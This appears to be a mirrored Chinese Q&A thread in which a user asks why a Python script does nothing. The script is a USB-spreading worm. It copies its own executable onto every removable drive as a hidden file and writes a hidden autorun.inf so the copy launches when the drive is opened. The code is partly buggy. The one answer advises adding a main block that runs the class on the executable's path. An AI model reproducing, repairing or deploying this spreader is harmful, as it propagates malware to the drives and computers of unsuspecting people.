无法编译我的Python代码

时间:2015-04-14 03:29:35

标签: python

您好我正在尝试编译此代码,但我根本没有编译任何内容,我在编译时没有收到任何错误,但也没有结果,该文件夹仅保留.py文件< / p>

import win32api
import win32con
import win32file
import sys
import os

class Spreader(object):
    def __init__(self, path):     # path must be absolute
      print (" [*] Checking information")

      self.filename = path.split("\\")[-1]
      self.driveFilename = self.filename

      if not self.driveFilename.startswith("~"):
        self.driveFilename = "~" + self.driveFilename

      print ("\t- Local filename: ") + self.filename
      print ("\t- Driver filename: ") + self.driveFilename

      self.path = "\\".join(path.split("\\")[:-1]) + "\\" + self.filename

      print ("\t- Full path: ") + self.path

      print ("\n [*] Getting removable drives")
      self.drives = self.__getRemovableDrives()

      if len(self.drives) == None:
        print (" [-] No removable drives available")
      sys.exit()

      for drive in self.drives:
        print ("\t- ") + drive

      print ("\n [*] Spreading")
      self.__spread()

      print ("\n [+] Successfully spread")

    def __getRemovableDrives(self):
      removableDrives = []
      drives = win32api.GetLogicalDriveStrings().split("\000")[:-1]

      for drive in drives:
        driveType = win32file.GetDriveType(drive)

      if driveType == win32file.DRIVE_REMOVABLE:
            removableDrives.append(drive)

      return removableDrives

    def __spread(self):
      for drive in self.drives:

        if drive == "A:\\":
            continue

      else:

            driveFile = drive + self.driveFilename
            driveAutorun = drive + "autorun.inf"

            print (" [+] ") + drive

            if not os.path.exists(driveFile):
              self.__copyFile(driveFile)

            if not os.path.exists(driveAutorun):
              self.__createAutorun(driveAutorun)

    def __copyFile(self, driveFile):
      print ("\t- Copying file: ") + self.driveFilename,
      win32file.CopyFile(self.path, driveFile, 0)
      print ("\t\t\tDONE")

      print ("\t- Hidding file"),
      win32api.SetFileAttributes(driveFile,\
             win32con.FILE_ATTRIBUTE_HIDDEN)
      print ("\t\t\tDONE")

    def __createAutorun(self, driveAutorun):
      print ("\t- Creating autorun.inf"),
      autorun = open(driveAutorun, "w")
      content = """[Autorun]
open={0}
icon={0}
label=Python Spreader
UseAutoPlay=1
action=Start my App
action=@{0}
shell\open=Open
shell\open\Command={0}
shell\explore=explore
shell\explore\command={0}""".format(self.driveFilename)
      autorun.write(content)
      autorun.close()
      print ("\t\t\tDONE")

      print ("\t- Hidding autorun"),
      win32api.SetFileAttributes(driveAutorun,\
             win32con.FILE_ATTRIBUTE_HIDDEN)
      print ("\t\t\tDONE")

有人能帮助我吗?

1 个答案:

答案 0 :(得分:3)

您已编写代码,但您从未在任何地方调用您的类及其方法。因此,python只是创建类对象等,然后不再使用它,因为没有更多的指令要执行。

我认为,至少应该添加以下代码以查看代码提供的输出/错误:

if __name__ == "__main__":
    spread = Spreader(some_path)

请注意,您正在使用__method惯例创建方法名称,means they are being name scrambled

由于您正在复制文件,因此您可以将实际文件路径(正在复制的exe的完整路径)替换为上面的some_path,这应该可行。如果没有,您将需要使用pdb进行更深入的调试。

最后,__main__ block需要放在脚本的末尾。